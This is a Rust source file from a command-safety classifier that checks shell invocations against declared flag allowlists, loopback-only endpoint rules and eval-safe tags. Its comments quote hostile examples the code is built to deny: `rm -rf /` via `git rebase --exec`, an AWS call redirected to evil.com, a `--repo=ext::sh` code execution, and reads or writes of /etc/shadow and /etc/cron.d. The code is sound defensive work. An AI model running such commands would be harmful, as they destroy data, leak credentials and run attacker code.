Skip to main content

safe_chains/registry/
mod.rs

1mod build;
2mod custom;
3mod dispatch;
4mod docs;
5mod policy;
6pub(crate) mod types;
7
8use std::collections::HashMap;
9use std::sync::LazyLock;
10
11use crate::parse::Token;
12use crate::verdict::Verdict;
13
14pub use build::{build_registry, load_toml};
15pub(crate) use custom::user_config_level;
16pub use dispatch::dispatch_spec;
17pub use types::{CommandSpec, OwnedPolicy};
18
19use types::DispatchKind;
20
21type HandlerFn = fn(&[Token]) -> Verdict;
22
23static CMD_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
24    LazyLock::new(crate::handlers::custom_cmd_handlers);
25
26static SUB_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
27    LazyLock::new(crate::handlers::custom_sub_handlers);
28
29static TOML_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(||
30    include!(concat!(env!("OUT_DIR"), "/toml_includes.rs"))
31);
32
33static CUSTOM_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(|| {
34    let mut map = HashMap::new();
35    custom::apply_custom(&mut map);
36    map
37});
38
39pub fn toml_dispatch(tokens: &[Token]) -> Option<Verdict> {
40    let cmd = tokens[0].command_name();
41    TOML_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
42}
43
44/// Looks up the command in the runtime custom registry (project-local
45/// `.safe-chains.toml`, then user-level `~/.config/safe-chains.toml`).
46/// A match here wins over the built-in hardcoded handlers, which is how
47/// an override of `gh` takes effect.
48pub fn custom_dispatch(tokens: &[Token]) -> Option<Verdict> {
49    let cmd = tokens[0].command_name();
50    CUSTOM_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
51}
52
53/// The canonical command name `cmd` resolves to via the registry's alias map (`gcat` → `cat`,
54/// `glink` → `ln`). Returns `cmd` unchanged when it is already canonical or unknown, so callers
55/// can canonicalize unconditionally. This is what lets the engine's path-gate dispatch reach an
56/// aliased invocation: without it, `gcat /etc/shadow` misses every resolver and falls through to
57/// the (ungated) legacy classifier. Custom registry first (an override may rename), then TOML.
58pub fn canonical_name(cmd: &str) -> &str {
59    CUSTOM_REGISTRY
60        .get(cmd)
61        .or_else(|| TOML_REGISTRY.get(cmd))
62        .map_or(cmd, |spec| spec.name.as_str())
63}
64
65/// The command's own declared path-argument gate (`[command.path_gate]`), if any — consulted by
66/// `pathgate::should_deny` when a command isn't in `pathgates.toml`, so a path-bearing flag gates
67/// from the command's own definition. `cmd` is already canonicalized by the caller.
68pub(crate) fn command_path_gate(cmd: &str) -> Option<&'static crate::pathgate::RoleSpec> {
69    CUSTOM_REGISTRY
70        .get(cmd)
71        .or_else(|| TOML_REGISTRY.get(cmd))
72        .and_then(|spec| spec.path_gate.as_ref())
73}
74
75/// The command's declarative facet behavior (`[command.behavior]`), if any — the engine's
76/// non-legacy classification path and the ONLY thing `engine::resolve::resolve` consults (the
77/// hardcoded `RESOLVERS` table is gone; every facet-classified command declares behavior).
78/// `cmd` is already canonicalized by the caller.
79pub(crate) fn command_behavior(cmd: &str) -> Option<&'static crate::registry::types::BehaviorSpec> {
80    CUSTOM_REGISTRY
81        .get(cmd)
82        .or_else(|| TOML_REGISTRY.get(cmd))
83        .and_then(|spec| spec.behavior.as_ref())
84}
85
86/// The facet archetypes (`archetypes.toml`) the subcommand `tokens` resolve to — the Phase-1
87/// `profile = …` classification plus a capability for every present escalating `[[command.sub.flag]]`
88/// (`git push` → `[vcs-sync]`; `git push --force` → `[vcs-sync, remote-destroy-irreversible]`). The
89/// engine emits a Capability per name and the level algebra takes the max. Descends `Branching`/
90/// `Custom` subs to the DEEPEST profile-bearing sub (nested `<resource> <action>`). `None` when no
91/// matched sub declares a profile.
92pub(crate) fn sub_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
93    let cmd = canonical_name(tokens.first()?.command_name());
94    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
95    let sub = walk_to_profiled_sub(&tokens[1..], &spec.kind)?;
96    let mut out = vec![sub.profile.as_deref()?];
97    for flag in &sub.flags {
98        if flag_escalates(tokens, flag) {
99            out.push(flag.classifies.as_str());
100        }
101    }
102    // The profile fixes the TIER; it must not also decide what is ADMISSIBLE. Without this the
103    // archetype path bypassed the flag allowlist entirely and any flag rode along on the base
104    // profile — `git rebase --exec 'rm -rf /'` classified as an ordinary rebase. `unclassified` is
105    // the sanctioned fail-closed marker: it resolves to no archetype, so the engine emits a worst
106    // capability and the invocation denies.
107    if presents_unlisted_flag(tokens, sub) {
108        out.push("unclassified");
109    }
110    Some(out)
111}
112
113/// Whether an invocation admitted by a `first_arg` GLOB carries a flag the family never declared.
114///
115/// The glob path used to allow on the strength of the first positional alone and never look at the
116/// remaining tokens, so `aws kms get-public-key --endpoint-url http://evil.com` classified as an
117/// ordinary read while redirecting an authenticated call to an arbitrary host. The verb claim
118/// (`get-*` means read) is sound and stays; the flags are what needed a list.
119///
120/// An UNDECLARED family (both lists empty) keeps the old permissive behavior — the 240-odd AWS
121/// service groups cannot be researched at once, and denying them wholesale would break every AWS
122/// read. `no_new_unresearched_first_arg_family` in `tests.rs` pins the un-migrated set so the pile
123/// cannot grow.
124///
125/// Non-flag tokens pass: some glob families take positionals (`kubectl get pods`), and the sensitive
126/// ones are already caught earlier by `credential_first_arg`.
127pub(super) fn glob_presents_unlisted_flag(
128    tokens: &[Token],
129    skip: usize,
130    standalone: &[String],
131    valued: &[String],
132    loopback_valued: &[String],
133) -> bool {
134    if standalone.is_empty() && valued.is_empty() && loopback_valued.is_empty() {
135        return false;
136    }
137    let known =
138        |f: &str| standalone.iter().any(|a| a == f) || valued.iter().any(|a| a == f);
139    for (idx, t) in tokens.iter().enumerate().skip(skip) {
140        let s = t.as_str();
141        if s == "--" {
142            break;
143        }
144        if !s.starts_with('-') || s == "-" {
145            continue;
146        }
147        let head = s.split_once('=').map_or(s, |(f, _)| f);
148        // A loopback-gated flag is admitted only when its VALUE names this machine. `--endpoint-url
149        // http://localhost:8000` is a developer talking to their own service; the same flag pointed
150        // anywhere else redirects an authenticated request. A missing value denies — the flag is
151        // meaningless without one and guessing would be the fail-open direction.
152        if loopback_valued.iter().any(|a| a == head) {
153            let value = match s.split_once('=') {
154                Some((_, v)) => Some(v),
155                None => tokens.get(idx + 1).map(Token::as_str),
156            };
157            if value.is_some_and(crate::netloc::is_loopback) {
158                continue;
159            }
160            return true;
161        }
162        if known(head) {
163            continue;
164        }
165        if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
166            continue;
167        }
168        return true;
169    }
170    false
171}
172
173/// Whether `tokens` carry a flag the profiled `sub` does not declare. Mirrors the legacy flag walk:
174/// `--long` matched whole or as `--long=value`, single-dash tokens split into clustered shorts, `--`
175/// ends the flag region. A sub that declares NO flags at all is treated as "not yet enumerated"
176/// rather than "nothing permitted", so this tightens only where a list exists — the global
177/// enforcement of the empty case is staged separately (see the backfill guard).
178fn presents_unlisted_flag(tokens: &[Token], sub: &types::SubSpec) -> bool {
179    // A flag declared as an escalating `[[command.sub.flag]]` IS declared — it just carries a
180    // capability rather than sitting on the plain allowlist. Omitting it here would deny the very
181    // invocations the escalation exists to classify (`npm ci --ignore-scripts`, whose whole point is
182    // that its PRESENCE is the safe form).
183    let known = |f: &str| {
184        sub.allowed_standalone.iter().any(|a| a == f)
185            || sub.allowed_valued.iter().any(|a| a == f)
186            || sub.flags.iter().any(|d| d.name == f)
187            // An output-path flag is declared too — it names the write destination the engine
188            // path-gates (`supabase db dump -f dump.sql`), so it is admissible by construction.
189            || sub.output_path_flags.iter().any(|a| a == f)
190            || sub.destination_flag.as_deref() == Some(f)
191    };
192    for (idx, t) in tokens.iter().enumerate().skip(1) {
193        let s = t.as_str();
194        if s == "--" {
195            break;
196        }
197        if !s.starts_with('-') || s == "-" {
198            continue;
199        }
200        let head = s.split_once('=').map_or(s, |(f, _)| f);
201        // An endpoint flag is admitted only when it names THIS machine — see the identical rule on
202        // the glob path in `glob_presents_unlisted_flag`.
203        if sub.loopback_valued.iter().any(|a| a == head) {
204            let value = match s.split_once('=') {
205                Some((_, v)) => Some(v),
206                None => tokens.get(idx + 1).map(Token::as_str),
207            };
208            if value.is_some_and(crate::netloc::is_loopback) {
209                continue;
210            }
211            return true;
212        }
213        if known(head) {
214            continue;
215        }
216        // An explicitly declared tolerance keeps the sub open for the shape it names — the
217        // established way to say "this surface is genuinely unbounded" (a cloud API's per-service
218        // options). Declared in the TOML, so it is reviewable, unlike the silent default it replaces.
219        use crate::policy::UnknownTolerance as U;
220        let tolerated = if s.starts_with("--") {
221            matches!(sub.allowed_unknown, U::Long | U::Both)
222        } else {
223            matches!(sub.allowed_unknown, U::Short | U::Both)
224        };
225        if tolerated {
226            continue;
227        }
228        // A single-dash multi-char token may be clustered shorts (`-abc` = `-a -b -c`).
229        if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
230            continue;
231        }
232        return true;
233    }
234    false
235}
236
237/// The facet archetypes a flat command's PRESENT top-level classifying flags (`[[command.flag]]`)
238/// resolve to — the command-level analog of `sub_archetypes` for a flag-triggered mode (`age -d` →
239/// `[decrypt-read]`, `sops --decrypt` → `[decrypt-read]`). `None` when the command declares none or
240/// none are present, so `engine::resolve` falls through to the command's ordinary resolution (the
241/// bare/encrypt form of a bimodal tool). Uses the same `flag_escalates` predicate as the sub flags.
242pub(crate) fn command_flag_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
243    let cmd = canonical_name(tokens.first()?.command_name());
244    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
245    let present: Vec<&'static str> = spec
246        .archetype_flags
247        .iter()
248        .filter(|f| flag_escalates(tokens, f))
249        .map(|f| f.classifies.as_str())
250        .collect();
251    (!present.is_empty()).then_some(present)
252}
253
254/// Whether `flag` escalates given `tokens`. A bare flag (no `value_prefix`) escalates on presence; a
255/// value-matched flag escalates only when its VALUE starts with the prefix — the space form
256/// (`-c core.sshCommand=…`) or the glued form (`--flag=core.sshCommand=…`). Scans the whole line;
257/// an escalator counts wherever it sits.
258fn flag_escalates(tokens: &[Token], flag: &types::FlagProvenance) -> bool {
259    if flag.when_absent {
260        // A SAFETY flag whose ABSENCE is the escalation (`npm ci` without `--ignore-scripts`).
261        // It must be AFFIRMATIVELY set — `--ignore-scripts=false` / `--no-ignore-scripts` re-ENABLE
262        // scripts, so they escalate exactly like the flag being missing (a fail-open otherwise).
263        return !flag_is_affirmatively_set(tokens, &flag.name);
264    }
265    let Some(prefix) = flag.value_prefix.as_deref() else {
266        return flag_present(tokens, &flag.name);
267    };
268    // space form: `NAME VALUE`, VALUE starting with the prefix
269    tokens.windows(2).any(|w| w[0].as_str() == flag.name && w[1].as_str().starts_with(prefix))
270        // glued form: `NAME=VALUE`, VALUE starting with the prefix
271        || tokens.iter().any(|t| {
272            t.as_str()
273                .strip_prefix(flag.name.as_str())
274                .and_then(|r| r.strip_prefix('='))
275                .is_some_and(|v| v.starts_with(prefix))
276        })
277}
278
279/// Whether a boolean flag is AFFIRMATIVELY enabled: bare `--flag`, or `--flag=<truthy>`. A
280/// `--flag=false/0/no/off` or a `--no-flag` DISABLES it (returns false), as does absence. Last
281/// occurrence wins, the CLI convention. Used by the `when_absent` escalator so a re-enabling spelling
282/// can't masquerade as the safety flag being set.
283fn flag_is_affirmatively_set(tokens: &[Token], flag: &str) -> bool {
284    let neg = format!("--no-{}", flag.trim_start_matches('-'));
285    let mut set = false;
286    for t in tokens {
287        let s = t.as_str();
288        if s == flag {
289            set = true;
290        } else if let Some(v) = s.strip_prefix(flag).and_then(|r| r.strip_prefix('=')) {
291            set = !matches!(v.to_ascii_lowercase().as_str(), "false" | "0" | "no" | "off" | "");
292        } else if s == neg {
293            set = false;
294        }
295    }
296    set
297}
298
299fn walk_to_profiled_sub(
300    remaining: &[Token],
301    kind: &'static DispatchKind,
302) -> Option<&'static types::SubSpec> {
303    let subs = match kind {
304        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
305        _ => return None,
306    };
307    let arg = remaining.first()?;
308    let sub = subs.iter().find(|s| s.name == arg.as_str())?;
309    // Deepest profiled match wins: a nested action's profile overrides its resource sub's.
310    walk_to_profiled_sub(&remaining[1..], &sub.kind).or_else(|| sub.profile.is_some().then_some(sub))
311}
312
313/// Like `walk_to_profiled_sub`, but also returns the tokens AFTER the matched sub's name — the
314/// operands the engine still needs to inspect (the destination positional, for `network_destination`).
315fn walk_to_profiled_sub_rest<'a>(
316    remaining: &'a [Token],
317    kind: &'static DispatchKind,
318) -> Option<(&'static types::SubSpec, &'a [Token])> {
319    let subs = match kind {
320        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
321        _ => return None,
322    };
323    let arg = remaining.first()?;
324    let sub = subs.iter().find(|s| s.name == arg.as_str())?;
325    let rest = &remaining[1..];
326    walk_to_profiled_sub_rest(rest, &sub.kind).or_else(|| sub.profile.is_some().then_some((sub, rest)))
327}
328
329/// For a profiled sub declaring `network_destination`, the first positional after it — the send
330/// TARGET (`git push origin` → `origin`; bare `git push` → `None`, the configured default). `None`
331/// (outer) when the resolved sub does not classify a destination. The engine maps the token's
332/// PROVENANCE onto `locus.provenance` (`resolve::destination_provenance`).
333///
334/// "First non-`-` token" is a heuristic: a VALUED flag's value sitting before the target
335/// (`git push -o $VAR origin`) is read as the destination. That only ever misreads CONSERVATIVELY —
336/// a stray value classifies to `literal`/`opaque` (equal-or-stricter than the real `established`
337/// target), never looser — so it can over-deny a rare form but never under-approve.
338pub(crate) fn sub_destination_token(tokens: &[Token]) -> Option<Option<&str>> {
339    let cmd = canonical_name(tokens.first()?.command_name());
340    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
341    let (sub, rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
342    if !sub.network_destination {
343        return None;
344    }
345    // A destination-carrying flag (`git push --repo=<dest>`) OVERRIDES the positional — else a
346    // `--repo=ext::sh` RCE would slip past a benign positional (`origin`). Scanned across the whole
347    // line since the flag may sit anywhere.
348    if let Some(flag) = sub.destination_flag.as_deref()
349        && let Some(v) = flag_value(tokens, flag)
350    {
351        return Some(Some(v));
352    }
353    Some(rest.iter().map(Token::as_str).find(|t| !t.starts_with('-')))
354}
355
356/// A flag's value, but only from the FLAG REGION — tokens after a `--` terminator are positionals,
357/// not flags.
358///
359/// Used where finding a value makes the classification MORE PERMISSIVE, which is where a
360/// disagreement with the tool costs something. `presents_unlisted_flag` already stops at `--`, so
361/// without this the two layers disagreed: `put-item ... -- --endpoint-url http://localhost:8000`
362/// passed admission (the walk never saw the flag) AND localized (the value lookup did), classifying
363/// a call to the real service as a write to this machine.
364///
365/// The restrictive lookups deliberately do NOT use this. For `output_path_flags`, finding a path
366/// ADDS a path-gated write capability, so scanning past `--` errs toward more gating; switching
367/// them here would relax them. Each direction fails closed, which is why the asymmetry stands.
368fn flag_value_in_flag_region<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
369    let end = tokens.iter().position(|t| t.as_str() == "--").unwrap_or(tokens.len());
370    flag_value(&tokens[..end], flag)
371}
372
373/// A flag's value, glued (`--repo=VALUE`) or space-separated (`--repo VALUE`); `None` if absent.
374/// Scans the WHOLE token list — see `flag_value_in_flag_region` for the `--`-aware variant and why
375/// only the permissive callers use it.
376fn flag_value<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
377    if let Some(v) = tokens.iter().find_map(|t| t.as_str().strip_prefix(flag).and_then(|r| r.strip_prefix('='))) {
378        return Some(v);
379    }
380    tokens.windows(2).find(|w| w[0].as_str() == flag).map(|w| w[1].as_str())
381}
382
383/// For a profiled `data-export` sub declaring `output_path_flags`, the output-file PATH one of them
384/// carries — or `None` when the export streams to stdout (no output flag present). The engine adds a
385/// path-gated write capability at this path's locus, so a dump to `/etc/cron.d/job` gates on locus
386/// exactly as a redirect there would. `None` (outer) when the resolved sub declares none.
387///
388/// Values are matched in every spelling the flag admits: `--file=X`, `--file X`, `-f X`, `-f=X`, and
389/// the glued short form `-fX` — the last mustn't be a bypass (`-f/etc/cron.d/job` reaching a system
390/// path would otherwise drop the write cap and auto-approve). A bare `-f` with no value is a
391/// malformed invocation the tool itself rejects, so a `None` there is harmless.
392/// Whether this invocation's declared endpoint flag names THIS machine, so `resolve` should clear
393/// the facets the destination determines. `false` covers "no endpoint flag", "points elsewhere",
394/// and "the sub never opted in".
395///
396/// Returning `false` for a non-loopback value is what keeps this independent of the admission
397/// check: even if `presents_unlisted_flag` were bypassed, the remote facets would still be the ones
398/// that classify.
399pub(crate) fn sub_loopback_localizes(tokens: &[Token]) -> bool {
400    let Some(cmd) = tokens.first().map(|t| canonical_name(t.command_name())) else {
401        return false;
402    };
403    let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
404        return false;
405    };
406    let Some((sub, _rest)) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind) else {
407        return false;
408    };
409    sub.loopback_effect == types::LoopbackEffect::Localizes
410        && sub
411            .loopback_valued
412            .iter()
413            .filter_map(|f| flag_value_in_flag_region(tokens, f))
414            .any(crate::netloc::is_loopback)
415}
416
417pub(crate) fn sub_output_path_token(tokens: &[Token]) -> Option<&str> {
418    let cmd = canonical_name(tokens.first()?.command_name());
419    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
420    let (sub, _rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
421    sub.output_path_flags.iter().find_map(|f| output_flag_value(tokens, f))
422}
423
424/// `flag_value`, plus the glued short form `-fVALUE` (a two-char `-x` flag with the value fused on).
425/// Kept separate from `flag_value` because a glued short is only unambiguous for the single-letter
426/// output flags this classifies (`-f`, `-r`); the destination-flag path (`--repo`) never needs it.
427fn output_flag_value<'a>(tokens: &'a [Token], flag: &'a str) -> Option<&'a str> {
428    if let Some(v) = flag_value(tokens, flag) {
429        return Some(v);
430    }
431    if flag.len() == 2 && flag.starts_with('-') && !flag.starts_with("--") {
432        return tokens
433            .iter()
434            .find_map(|t| t.as_str().strip_prefix(flag).filter(|r| !r.is_empty()));
435    }
436    None
437}
438
439/// Whether `flag` appears anywhere in `tokens` — bare (`--force`), glued (`--flag=v`), or, for a SHORT
440/// single-char flag (`-d`), hidden inside a short CLUSTER (`-da`, `-vd`) for tools that combine short
441/// options. A flag is an escalator wherever it sits, so this scans the whole line. The flag ALLOWLIST
442/// cluster-expands, so this must too — otherwise a cluster admits the command while the classifier
443/// misses the dangerous flag inside it (a classifier/allowlist disagreement; a live bypass for any
444/// clustering tool with a classifying short flag).
445fn flag_present(tokens: &[Token], flag: &str) -> bool {
446    // A `-X` short flag (exactly two chars, leading `-`) can appear in a cluster; `--long` cannot.
447    let short_char = (flag.len() == 2 && flag.as_bytes()[0] == b'-').then(|| flag.as_bytes()[1]);
448    tokens.iter().any(|t| {
449        let s = t.as_str();
450        if s == flag || s.strip_prefix(flag).is_some_and(|rest| rest.starts_with('=')) {
451            return true;
452        }
453        // Short cluster `-<letters>` (single dash, not `--`): scan only the boolean-letter run BEFORE
454        // any `=value`, so a glued value (`-o=decrypted`) can't spuriously match the flag char.
455        matches!(short_char, Some(c)
456            if s.len() > 1 && s.as_bytes()[0] == b'-' && s.as_bytes()[1] != b'-'
457            && s[1..].split('=').next().is_some_and(|run| run.as_bytes().contains(&c)))
458    })
459}
460
461pub fn toml_command_names() -> Vec<&'static str> {
462    TOML_REGISTRY
463        .keys()
464        .map(|k| k.as_str())
465        .collect()
466}
467
468/// Every command's canonical name with its declared `examples_safe` / `examples_denied`
469/// — the corpus the engine's never-looser corpus gate runs against.
470#[cfg(test)]
471pub(crate) fn corpus_examples()
472-> Vec<(&'static str, &'static [String], &'static [String])> {
473    TOML_REGISTRY
474        .iter()
475        .map(|(name, spec)| {
476            (name.as_str(), spec.examples_safe.as_slice(), spec.examples_denied.as_slice())
477        })
478        .collect()
479}
480
481/// Look up `cmd_name`'s TOML-declared subs (set via `[[command.sub]]`
482/// blocks alongside `handler = "..."`) and dispatch the one whose name
483/// matches `tokens[1]`. Returns `None` if no sub matched, so the
484/// handler can fall through to its fallback grammar (or deny).
485pub fn try_sub_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
486    let spec = handler_spec(cmd_name)?;
487    let DispatchKind::Custom { subs, .. } = &spec.kind else {
488        return None;
489    };
490    let arg = tokens.get(1)?.as_str();
491    let sub = subs.iter().find(|s| s.name == arg)?;
492    Some(dispatch::dispatch_sub_kind(&tokens[1..], &sub.kind))
493}
494
495/// Apply `cmd_name`'s TOML-declared `[command.fallback]` grammar.
496/// Returns `None` if no fallback is declared.
497pub fn try_fallback_grammar(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
498    let spec = handler_spec(cmd_name)?;
499    let DispatchKind::Custom { fallback, .. } = &spec.kind else {
500        return None;
501    };
502    let f = fallback.as_ref()?;
503    Some(dispatch::dispatch_fallback(tokens, f))
504}
505
506/// Dispatch `tokens` against `cmd_name`'s `[[command.matrix]]`
507/// blocks. Looks at `tokens[1]` (parent) and `tokens[2]` (action),
508/// finds the first matrix whose `parents` contains the parent and
509/// whose `actions` map contains the action, then validates
510/// `tokens[2..]` against the named policy (and a guard flag if the
511/// matrix entry declared one). Returns `None` if no matrix matched —
512/// the handler can then fall through to its remaining special cases
513/// or deny.
514pub fn try_matrix_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
515    let spec = handler_spec(cmd_name)?;
516    let DispatchKind::Custom { matrices, handler_policies, .. } = &spec.kind else {
517        return None;
518    };
519    let parent = tokens.get(1)?.as_str();
520    let action = tokens.get(2)?.as_str();
521    for matrix in matrices {
522        if !matrix.parents.iter().any(|p| p == parent) {
523            continue;
524        }
525        let Some(action_spec) = matrix.actions.get(action) else { continue; };
526        if let Some(long) = action_spec.guard.as_deref()
527            && !crate::parse::has_flag(&tokens[2..], action_spec.guard_short.as_deref(), Some(long))
528        {
529            return Some(Verdict::Denied);
530        }
531        let Some(policy) = handler_policies.get(&action_spec.policy_key) else {
532            return Some(Verdict::Denied);
533        };
534        return Some(dispatch::dispatch_matrix_action(&tokens[2..], policy, matrix.level));
535    }
536    None
537}
538
539/// Validate `tokens` against `cmd_name`'s named flag policy declared
540/// in a `[command.handler_policy.KEY]` block. Returns `false` if no
541/// such policy is declared or the tokens fail it. Used by handlers
542/// whose dispatch logic genuinely can't move to TOML (e.g. gh's
543/// sub × action matrix) but whose per-policy WordSets should live
544/// in TOML rather than as Rust `WordSet` constants.
545pub fn check_handler_policy(cmd_name: &str, key: &str, tokens: &[Token]) -> bool {
546    let Some(spec) = handler_spec(cmd_name) else { return false; };
547    let DispatchKind::Custom { handler_policies, .. } = &spec.kind else {
548        return false;
549    };
550    let Some(policy) = handler_policies.get(key) else { return false; };
551    dispatch::check_handler_policy_owned(tokens, policy)
552}
553
554fn handler_spec(cmd_name: &str) -> Option<&'static CommandSpec> {
555    CUSTOM_REGISTRY
556        .get(cmd_name)
557        .or_else(|| TOML_REGISTRY.get(cmd_name))
558}
559
560/// Returns true iff this invocation is tagged eval-safe — meaning its
561/// stdout is documented shell-init code that can safely be substituted
562/// inside `eval "$(...)"`.
563///
564/// The walker descends through `DispatchKind::Branching` AND
565/// `DispatchKind::Custom` matching subs token-by-token (handler-based
566/// commands such as `gh` can have tagged TOML-declared subs even though
567/// the handler does the actual dispatch). The leaf is the deepest matched
568/// node (where no further sub matches). `eval_safe` is checked only at
569/// the leaf — ancestor tags do NOT propagate. After confirming the leaf
570/// is tagged, every `-`-prefixed token in the remaining tail must appear
571/// in `eval_safe_flags`; positionals are unrestricted.
572///
573/// Tagged nodes are vetted manually per-command (see SAMPLE.toml). This
574/// function does not validate that `tokens` is syntactically allowed —
575/// callers must have already passed it through the regular dispatcher.
576pub fn is_eval_safe_invocation(tokens: &[Token]) -> bool {
577    if tokens.is_empty() {
578        return false;
579    }
580    let cmd = tokens[0].command_name();
581    let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
582        return false;
583    };
584    is_eval_safe_for_spec(spec, tokens)
585}
586
587/// Spec-local variant used by tests so they can build a `CommandSpec`
588/// via `load_toml` and exercise the walker without touching the global
589/// `TOML_REGISTRY`.
590pub(crate) fn is_eval_safe_for_spec(spec: &CommandSpec, tokens: &[Token]) -> bool {
591    if tokens.is_empty() {
592        return false;
593    }
594    walk_to_eval_safe_leaf(
595        &tokens[1..],
596        &spec.kind,
597        spec.eval_safe,
598        &spec.eval_safe_flags,
599        &spec.eval_safe_flag_values,
600        &spec.eval_safe_required_flags,
601    )
602}
603
604fn walk_to_eval_safe_leaf(
605    remaining: &[Token],
606    kind: &DispatchKind,
607    eval_safe: bool,
608    eval_safe_flags: &[String],
609    eval_safe_flag_values: &std::collections::HashMap<String, Vec<String>>,
610    eval_safe_required_flags: &[String],
611) -> bool {
612    let subs_opt = match kind {
613        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => Some(subs),
614        _ => None,
615    };
616    if let Some(subs) = subs_opt
617        && let Some(arg) = remaining.first()
618        && let Some(sub) = subs.iter().find(|s| s.name == arg.as_str())
619    {
620        return walk_to_eval_safe_leaf(
621            &remaining[1..],
622            &sub.kind,
623            sub.eval_safe,
624            &sub.eval_safe_flags,
625            &sub.eval_safe_flag_values,
626            &sub.eval_safe_required_flags,
627        );
628    }
629    if !eval_safe {
630        return false;
631    }
632    let mut i = 0;
633    let mut seen_required = false;
634    while i < remaining.len() {
635        let s = remaining[i].as_str();
636        if !s.starts_with('-') {
637            i += 1;
638            continue;
639        }
640        let (bare, eq_value) = match s.split_once('=') {
641            Some((k, v)) => (k, Some(v)),
642            None => (s, None),
643        };
644        if !eval_safe_flags.iter().any(|f| f == bare) {
645            return false;
646        }
647        if eval_safe_required_flags.iter().any(|f| f == bare) {
648            seen_required = true;
649        }
650        if let Some(allowed) = eval_safe_flag_values.get(bare) {
651            // Valued flag declared in eval_safe_flag_values. The value
652            // arrives either as `--flag=VALUE` (eq_value is Some) or as
653            // the next token (`--flag VALUE`); either way the walker
654            // consumes it because a flag in eval_safe_flag_values is
655            // structurally valued.
656            //
657            // `allowed` empty = explicit-unrestricted: contributor
658            // vetted that any bare-literal value preserves shell-init
659            // output. Non-empty = value must appear in the allowlist.
660            let value: &str = if let Some(v) = eq_value {
661                v
662            } else if let Some(next) = remaining.get(i + 1) {
663                let v = next.as_str();
664                i += 1;
665                v
666            } else {
667                return false;
668            };
669            // Empty value is denied even under the explicit-
670            // unrestricted (`= []`) posture: `--flag=` and an empty
671            // following token never represent a meaningful tool
672            // argument. The bare-literal alphabet check is per-char
673            // and vacuously passes empty strings, so the walker
674            // has to reject explicitly.
675            if value.is_empty() {
676                return false;
677            }
678            if !allowed.is_empty() && !allowed.iter().any(|av| av == value) {
679                return false;
680            }
681        }
682        i += 1;
683    }
684    if !eval_safe_required_flags.is_empty() && !seen_required {
685        return false;
686    }
687    true
688}
689
690pub fn toml_command_docs() -> Vec<crate::docs::CommandDoc> {
691    TOML_REGISTRY
692        .iter()
693        .filter(|(key, spec)| *key == &spec.name)
694        .map(|(_, spec)| spec.to_command_doc())
695        .collect()
696}
697
698#[cfg(test)]
699mod tests;